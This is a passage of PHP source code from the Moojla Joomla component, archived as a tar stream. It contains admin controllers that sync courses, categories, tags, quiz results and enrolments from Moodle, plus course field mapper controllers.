		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses',
false), $message, 'error');
		return;
	}


	public function importData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if import is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('course.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
		{
			// Get the import model
			$model = $this->getModel('Courses');
			// get the headers to import
			$headers = $model->getExImPortHeaders();
			if (MoojlaHelper::checkObject($headers))
			{
				// Load headers to session.
				$session = JFactory::getSession();
				$headers = json_encode($headers);
				$session->set('course_VDM_IMPORTHEADERS', $headers);
				$session->set('backto_VDM_IMPORT', 'courses');
				$session->set('dataType_VDM_IMPORTINTO',
'course');
				// Redirect to import view.
				$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_COURSES');
				$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
				return;
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses',
false), $message, 'error');
		return;
	}


/***[JCBGUI.admin_view.php_controller_list.129.$$$$]***/
  function uni2persian($uni_str) 
  {
    //strpos
    preg_match_all('/\\\u[[:xdigit:]]{4}/', $uni_str, $matches);
    if(isset($matches[0]) && $matches)
    {
      foreach($matches[0] as $word)
      {
        $p = strpos($uni_str, $word);
        $new="&#x".substr($uni_str,$p+2,4).";"; 
        $txt = html_entity_decode("$new", ENT_COMPAT,
"UTF-8");
        $uni_str = str_replace($word, $txt, $uni_str);
      }
    }

    return $uni_str;
  }




  function fetchCourses()
  {
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');

    $user = JFactory::getUser();

    $dataObj = array(
      "wsfunction"          =>
"moojla_get_course_categories",
      "moodlewsrestformat"  => "json",
    );
    $course_cats =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
    $catidmap = array();
    foreach($course_cats as $cc)
    {
      if($cc->depth == 1)
      {
        $parent_name = '';
      }
      else
      {
        $path = ltrim($cc->path, '/');
        $path = explode('/', $path);
        $mparent_id = $path[$cc->depth - 2];

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query
          ->select(array('c.title'))
          ->from($db->quoteName('#__moojla_category_map',
'cm'))
          ->join('INNER',
$db->quoteName('#__categories', 'c') . ' ON
' . $db->quoteName('c.id') . ' = ' .
$db->quoteName('cm.jcatid'))
          ->where($db->quoteName('c.extension') . ' =
' . $db->quote('com_moojla.course'))
          ->where($db->quoteName('cm.mcatid') . ' =
' . $db->quote($mparent_id))
          ->where($db->quoteName('cm.published') . ' =
1');
        $db->setQuery($query);
        $parent_name = $db->loadResult();
      }
      JPluginHelper::importPlugin("moojlaevents");
      $dispatcher = JEventDispatcher::getInstance();
      $args = array($cc->name, $cc->id, $parent_name,
$cc->description);
      $catidmap[$cc->id] =
$dispatcher->trigger("createMoojlaCategory", $args)[0];

    }

    $dataObj = array(
      "wsfunction"          =>
"moojla_get_courses",
      "moodlewsrestformat"  => "json",
    );
    $coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
    $courses = json_decode($coursesReq->response);

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select('id, remoteid');
    $query->from($db->quoteName('#__moojla_course'));
    $db->setQuery($query);
    $moojla_courses = $db->loadObjectList('remoteid');
    $courses = array_filter($courses, function($v)
use(&$moojla_courses){
      return empty($moojla_courses[$v->id]);
    });
    // dump(array_values($courses),'the courses that to be
saved');

    $check = true;
    if(is_object($courses))
    {
      if(property_exists($courses, 'exception') &&
$courses->exception)
        $check = false;
    }

    if ($check) {
      $updateCount = 0;
      $createCount = 0;
      $sample_size = count($courses);
      $chunk_size = 10;


      foreach ($courses as $c) {
        if (!trim($c->shortname))
          continue;

        $course = array();
        $course["shortname"] = stripslashes($c->shortname);
        $course["fullname"] = stripslashes($c->fullname);
        $course["cat_name"] = stripslashes($c->categoryname);
        $course["cat_id"] = stripslashes($c->categoryid);
        $course["summary"] =
stripslashes($this->uni2persian(stripslashes($c->summary)));
        $course["summary_files"] =
stripslashes($this->uni2persian(stripslashes($c->imgurl)));
        $course["teachers"] =
$this->uni2persian(stripslashes(json_encode($c->teachers)));
        $course["startdate"] = $c->startdate;
        $course["endtdate"] = property_exists($c,
'endtdate') ? $c->endtdate : 0;
        $course["in_enrol_date"] = $c->in_enrol_date;
        $course["self_enrolment"] = $c->self_enrolment;
        $course["remoteid"] = $c->id;
        $course["currency"] = $c->currency;
        $course["cost"] = $c->cost;
        $course["created_by"] = $user->id;
        $course["guest"] = $c->guest;
        $course["catid"] =
$catidmap[$course["cat_id"]];

        /*$db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select($db->quoteName(array('id',
'permanent_fields')))
          ->from($db->quoteName('#__moojla_course'))
          ->where($db->quoteName('remoteid') . ' =
' . $db->quote($course["remoteid"]));
        $db->setQuery($query);
        $result = $db->loadAssocList();*/

        /*if (current($result)["id"]) {
          $course["id"] = current($result)["id"]; //
for update rows
          if (current($result)["permanent_fields"] !=
"") {
            $permanent_fields =
json_decode(current($result)["permanent_fields"], true);
            foreach ($permanent_fields as $field) {
              unset($course[$field]);
            }
            $course["permanent_fields"] =
current($result)["permanent_fields"];
          }
          $updateCount += 1;
        } else {*/
          $createCount += 1;
        /*}*/

        $courseModel = new MoojlaModelCourse;
        $courseModel->save($course);

        $customfields = $c->customfields;

        $cfs = array();
        foreach ($customfields as $index => $cf) {
          $cfs['cm_' . $cf->shortname] = $cf->value;
        }

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query
          ->select(array('cf.coursefield',
'cf.mcoursefields', 'f.name'))
         
->from($db->quoteName('#__moojla_course_field_mapper',
'cf'))
          ->join('INNER',
$db->quoteName('#__fields', 'f') . ' ON '
. $db->quoteName('f.id') . ' = ' .
$db->quoteName('cf.coursefield'))
          ->where($db->quoteName('f.context') . ' =
' . $db->quote('com_moojla.course'))
          ->where($db->quoteName('cf.published') . ' =
1');
        $db->setQuery($query);
        $mappings = $db->loadRowList(1);

        $itemId = $courseModel->getItem()->id;

        foreach ($mappings as $index => $mapping) {
          $fieldId = $mapping[0];
          $value = $cfs[$index];
          define('JPATH_COMPONENT', JPATH_ADMINISTRATOR);
          $courseModel->setFieldValue($fieldId, $itemId, $value);
        }

        $params = JComponentHelper::getParams('com_moojla');
        $fetch_course_contents =
$params->get('fetch_course_contents', 0);

        if ($fetch_course_contents == 1) {
          $dataObj = array(
            "wsfunction" =>
"moojla_get_course_contents",
            "moodlewsrestformat" => "json",
            "courseid" => $course["remoteid"]
          );
          $sections =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
          MoojlaHelper::updateCourseContents($sections,
$course["remoteid"]);
        }

      }

 
      $app = JFactory::getApplication();
      $message =
JText::_('COM_MOOJLA_COM_MOOJLA_COMPLETELY_FETCHED'); //
translate_need
      if ($updateCount != 0) {
        $message .= '<br>' . $updateCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_UPDATED'); //
translate_need
      }
      if ($createCount != 0) {
        $message .= '<br>' . $createCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_CREATED'); //
translate_need
      }

    }
    else {
      $app = JFactory::getApplication();
      $message =
JText::_('COM_MOOJLA_COM_MOOJLA_FETCHING_ERROR'); //
translate_need
      $message .= '<br>' . $courses->exception;
      $message .= '<br>' . $courses->errorcode;
     
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'error');
      return false;
    }


   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');
    return true;
  }



  function updateCourse()
  {
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('remoteid')));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
    $db->setQuery($query);
    $results = $db->loadColumn();


    $dataObj = array(
      "wsfunction"          =>
"moojla_get_courses",
      "moodlewsrestformat"  => "json",
      "options"				=> array(
        "ids"				=> $results
      )
    );
    $coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
    $courses = json_decode($coursesReq->response);
    if(!$courses->exception)
    {
      $updateCount = 0;
      $user = JFactory::getUser();
      foreach($courses as $index => $c)
      {
        if(!trim($c->shortname))
          continue;

        $course = array();
        $course["shortname"]		= stripslashes($c->shortname);
        $course["fullname"]			= stripslashes($c->fullname);
        $course["cat_name"]			=
stripslashes($c->categoryname);
        $course["cat_id"]			= stripslashes($c->categoryid);
        $course["summary"]			=
stripslashes($this->uni2persian(stripslashes($c->summary)));
        $course["summary_files"]	=
stripslashes($this->uni2persian(stripslashes($c->imgurl)));
        $course["teachers"]			=
$this->uni2persian(stripslashes(json_encode($c->teachers)));
        $course["startdate"]		= $c->startdate;
        $course["endtdate"]			= $c->endtdate;
        $course["in_enrol_date"]	= $c->in_enrol_date;
        $course["self_enrolment"]	= $c->self_enrolment;
        $course["remoteid"]			= $c->id;
        $course["currency"]			= $c->currency;
        $course["cost"]				= $c->cost;
        $course["created_by"]		= $user->id;
        $course["guest"]			= $c->guest;
        $course["published"]		= $c->visible;

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select($db->quoteName(array('id',
'permanent_fields')))
          ->from($db->quoteName('#__moojla_course'))
          ->where($db->quoteName('remoteid') . ' =
' . $db->quote($course["remoteid"]));
        $db->setQuery($query);
        $result = $db->loadAssocList();

        if(current($result)["id"])
        {
          $course["id"] = current($result)["id"]; //
for update rows
          if(current($result)["permanent_fields"] !=
"")
          {
            $permanent_fields =
json_decode(current($result)["permanent_fields"], true);
            foreach($permanent_fields as $field)
            {
              unset($course[$field]);
            }
            $course["permanent_fields"] =
current($result)["permanent_fields"];
          }
          $updateCount += 1;
        }
        else
        {
          $createCount += 1;
        }

        $courseModel = new MoojlaModelCourse;
        $courseModel->save($course);

        $customfields = $c->customfields;

        $cfs = array();
        foreach($customfields as $index => $cf)
        {
          $cfs['cm_' . $cf->shortname] = $cf->value;
        }

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query
          ->select(array('cf.coursefield',
'cf.mcoursefields', 'f.name'))
         
->from($db->quoteName('#__moojla_course_field_mapper',
'cf'))
          ->join('INNER',
$db->quoteName('#__fields', 'f') . ' ON '
. $db->quoteName('f.id') . ' = ' .
$db->quoteName('cf.coursefield'))
          ->where($db->quoteName('f.context') . ' =
' . $db->quote('com_moojla.course'))
          ->where($db->quoteName('cf.published') . ' =
1');
        $db->setQuery($query);
        $mappings = $db->loadRowList(1);

        // $itemId = $courseModel->getItem()->id;
        $itemId = current($result)["id"];

        foreach($mappings as $index => $mapping)
        {
          $fieldId	=	$mapping[0];
          $value		=	$cfs[$index];
          define('JPATH_COMPONENT', JPATH_ADMINISTRATOR);
          $courseModel->setFieldValue($fieldId, $itemId, $value);
        }

        $params = JComponentHelper::getParams('com_moojla');
        $fetch_course_contents=
$params->get('fetch_course_contents', 0);

        if($fetch_course_contents == 1)
        {
          $dataObj = array(
            "wsfunction"          	=>
"moojla_get_course_contents",
            "moodlewsrestformat"  	=> "json",
            "courseid"				=> $course["remoteid"]
          );
          $sections =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
          //dump($sections, "sections");
          MoojlaHelper::updateCourseContents($sections,
$course["remoteid"]);
        }
      }
      $message =
JText::_('COM_MOOJLA_COM_MOOJLA_COMPLETELY_FETCHED'); //
translate_need
      if($updateCount != 0)
      {
        $message .= '<br>' . $updateCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_UPDATED'); //
translate_need
      }
      if($createCount != 0)
      {
        $message .= '<br>' . $createCount . ' ' .
JText::_('COM_MOOJLA_COM_MOOJLA_COURSES_CREATED'); //
translate_need
      }
      // dump($courses, "courses");
    }
    else
    {
      $app = JFactory::getApplication();
      $message =
JText::_('COM_MOOJLA_COM_MOOJLA_FETCHING_ERROR'); //
translate_need
      $message .= '<br>' . $courses->exception;
      $message .= '<br>' . $courses->errorcode;
     
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'error');
      return false;
    }



    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');
    return true;
  }

  function goToSections()
  {
    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=sections",
false));
    return true;
  }
  function goToModules()
  {
    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=modules",
false));
    return true;
  }
  function goToContents()
  {
    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=contents",
false));
    return true;
  }

  function syncTags()
  {
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/tag_instance.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/tag.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_tags/models/tag.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_tags/tables/tag.php";


    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('remoteid')));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
    $db->setQuery($query);
    $remoteids = $db->loadColumn();

    $dataObj = array(
      "wsfunction"          =>
"moojla_get_course_tags",
      "moodlewsrestformat"  => "json",
    );
    foreach($remoteids as $id)
    {
      $dataObj['courseids'][] = array('id' => $id);
    }



    // dump($dataObj, "dataObj");
    $coursesReq = MoojlaHelper::sendRequestToMoodle($dataObj);
    $tags = json_decode($coursesReq->response);

    $unique_tags = array();
    $unique_tags_id = array();
    foreach($tags as $tag)
    {
      if(!in_array(array('tagid' => $tag->tagid,
'tagname' => $tag->tagname, 'isstandard' =>
$tag->isstandard), $unique_tags))
      {
        $unique_tags[] = array('tagid' => $tag->tagid,
'tagname' => $tag->tagname, 'isstandard' =>
$tag->isstandard);
        $unique_tags_id[] = $tag->tagid;
      }
    }
    $tag_row_ids = array();

    if(!empty($unique_tags_id))
    {
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName(array('id',
'tagid','tagname')));
      $query->from($db->quoteName('#__moojla_tag'));
      $query->where($db->quoteName('tagid') . ' IN
(' . implode(',', $unique_tags_id ) . ')');
      $db->setQuery($query);
      $tag_row_ids = $db->loadAssocList('tagid');
    }

    foreach($unique_tags as $ut)
    {
      $tagObj = array();
      $tagObj["tagid"] = $ut['tagid'];
      $tagObj["tagname"] = $ut['tagname'];
      $tagObj["isstandard"] = $ut['isstandard'];
      if(isset($tag_row_ids[$ut['tagid']]))
      {
        $tagObj["id"] =
$tag_row_ids[$ut['tagid']]['id'];

        if($ut['tagname'] !=
$tag_row_ids[$ut['tagid']]['tagname'])
        {
          $db= JFactory::getDbo();
          $query= $db->getQuery(true)
            ->select($db->quoteName('id'))
            ->from($db->quoteName('#__tags',''))
           
->where($db->quoteName('title').'='.$db->quote($tag_row_ids[$ut['tagid']]['tagname']));

          $db->setQuery($query);
          $result= $db->loadObject();

          $tagModel= new TagsModelTag;
         
$tagModel->save(['title'=>$ut['tagname'],'alias'=>$ut['tagname'],'id'=>$result->id]);

        }

      }

      $tagModel = new MoojlaModelTag();
      $tagModel->save($tagObj);

    }
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('id',
'moojlacourse', 'moodletag')));
   
$query->from($db->quoteName('#__moojla_tag_instance'));
    $query->where($db->quoteName('moojlacourse') . '
IN (' . implode(',', $remoteids ) . ')');
    $db->setQuery($query);
    $tag_instances = $db->loadAssocList();
    

    foreach($tags as $tag)
    {
      $tagins = array();
      foreach($tag_instances as $ti)
      {
        if($ti['moodletag'] == $tag->tagid &&
$ti['moojlacourse'] == $tag->courseid)
        {
          $tagins['id'] = $ti['id'];
          break;
        }
      }
      $tagins['moodletag'] = $tag->tagid;
      $tagins['moojlacourse'] = $tag->courseid;
      $tagincModel = new MoojlaModelTag_instance();
      if(!$tagincModel->save($tagins))
      {
        //dump($tagincModel->getError(), "error");
      } 
    }
    $app = JFactory::getApplication();
    $message .= 'tag fetched'; // need translate
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'success');
  }

  function fetchQuizAttempts()
  {
    $quizType = $this->input->get('quizType', '',
'string');
    $cids = $this->input->get('quizzes_list', array(),
'array');
    $cids = ArrayHelper::toInteger($cids);
    $finalres = array();
    foreach($cids as $cid)
    {
      $dataObj = array(
        "wsfunction"         
=>	"get_{$quizType}_result",
        "moodlewsrestformat"  =>	"json",
        "quizid"							=>	$cid
      );
      // print_r($dataObj);
      $results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
      // print_r($results);
      foreach($results as $result)
      {
        JPluginHelper::importPlugin("moojlaquiz");
        $dispatcher = JEventDispatcher::getInstance();
        $dispatcher->trigger("addQuizAttempt",
array($quizType, $result, $cid));
      }
      $finalres[]  = $results;
    }

    echo json_encode($finalres);
    die();
  }

  function getCalendarEvents()
  {
    $json = '[{"title": "جشن
تولد","start":
"2021-03-13T07:00:00"},{"title": "کلیک
برای باز کردن گوگل","url":
"http://google.com/","start":
"2021-03-28"}]';
    echo $json;
    die();
  }

  function migrateFromJoomdle()
  {
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);


    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('remoteid')));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
    $db->setQuery($query);
    $remoteids = $db->loadColumn();
    $counter = 0;
    foreach($remoteids as $remoteid)
    {
      $dataObj = array(
        "wsfunction"         
=>	"moojla_migrate_enrolment_method",
        "moodlewsrestformat"  =>	"json",
        "courseid"						=>	$remoteid
      );
      $results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
      if($results->status)
        $counter += 1;
    }
    $message =
JText::sprintf('COM_MOOJLA_S_COURSES_MIGRATED_SUCCESSFULLY',
$counter);
    $app = JFactory::getApplication();
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'message');

  }

  function fetchMoojlaEnrolment()
  {
    $cid = $this->input->get('cid', array(),
'array');
    $cid = ArrayHelper::toInteger($cid);

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('remoteid')));
    $query->from($db->quoteName('#__moojla_course'));
    $query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid ) . ')');
    $db->setQuery($query);
    $remoteids = $db->loadColumn();

    $ids = array();
    foreach($remoteids as $remoteid)
    {
      $ids[] = ['id' => $remoteid];
    }

    $dataObj = array(
      "wsfunction"         
=>	"moojla_trigger_update_enrolment_method",
      "moodlewsrestformat"  =>	"json",
      "courseids"						=>	$ids
    );

    $results =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
    $outputs = array_column($results, 'status');
    $updated = array_sum($outputs);
    $app = JFactory::getApplication();
    $message = "";
    $message .= $updated;
    $message .= ' enrolment method fetched'; // need translate
   
$app->redirect(JRoute::_("index.php?option=com_moojla&view=courses",
false), $message, 'success');
  }
/***[/JCBGUI$$$$]***/

}
controllers/course_fields_mapper.php000064400000010516151165724360014032
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_fields_mapper.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_fields_mapper Controller
 */
class MoojlaControllerCourse_fields_mapper extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_COURSE_FIELDS_MAPPER';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Course_field_mapper', $prefix
= 'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	public function exportData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if export is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('course_field_mapper.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
		{
			// Get the input
			$input = JFactory::getApplication()->input;
			$pks = $input->post->get('cid', array(),
'array');
			// Sanitize the input
			$pks = ArrayHelper::toInteger($pks);
			// Get the model
			$model = $this->getModel('Course_fields_mapper');
			// get the data to export
			$data = $model->getExportData($pks);
			if (MoojlaHelper::checkArray($data))
			{
				// now set the data to the spreadsheet
				$date = JFactory::getDate();
				MoojlaHelper::xls($data,'Course_fields_mapper_'.$date->format('jS_F_Y'),'Course
fields mapper exported ('.$date->format('jS F,
Y').')','course fields mapper');
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper',
false), $message, 'error');
		return;
	}


	public function importData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if import is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('course_field_mapper.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
		{
			// Get the import model
			$model = $this->getModel('Course_fields_mapper');
			// get the headers to import
			$headers = $model->getExImPortHeaders();
			if (MoojlaHelper::checkObject($headers))
			{
				// Load headers to session.
				$session = JFactory::getSession();
				$headers = json_encode($headers);
				$session->set('course_field_mapper_VDM_IMPORTHEADERS',
$headers);
				$session->set('backto_VDM_IMPORT',
'course_fields_mapper');
				$session->set('dataType_VDM_IMPORTINTO',
'course_field_mapper');
				// Redirect to import view.
				$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_COURSE_FIELDS_MAPPER');
				$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
				return;
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper',
false), $message, 'error');
		return;
	}
}
controllers/course_field_mapper.php000064400000020543151165724360013650
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_field_mapper.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_field_mapper Controller
 */
class MoojlaControllerCourse_field_mapper extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Course_fields_mapper'; // safeguard for
setting the return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();
		// Access check.
		$access = $user->authorise('course_field_mapper.access',
'com_moojla');
		if (!$access)
		{
			return false;
		}

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.course_field_mapper.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.course_field_mapper.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Course_field_mapper',
'', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=course_fields_mapper'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
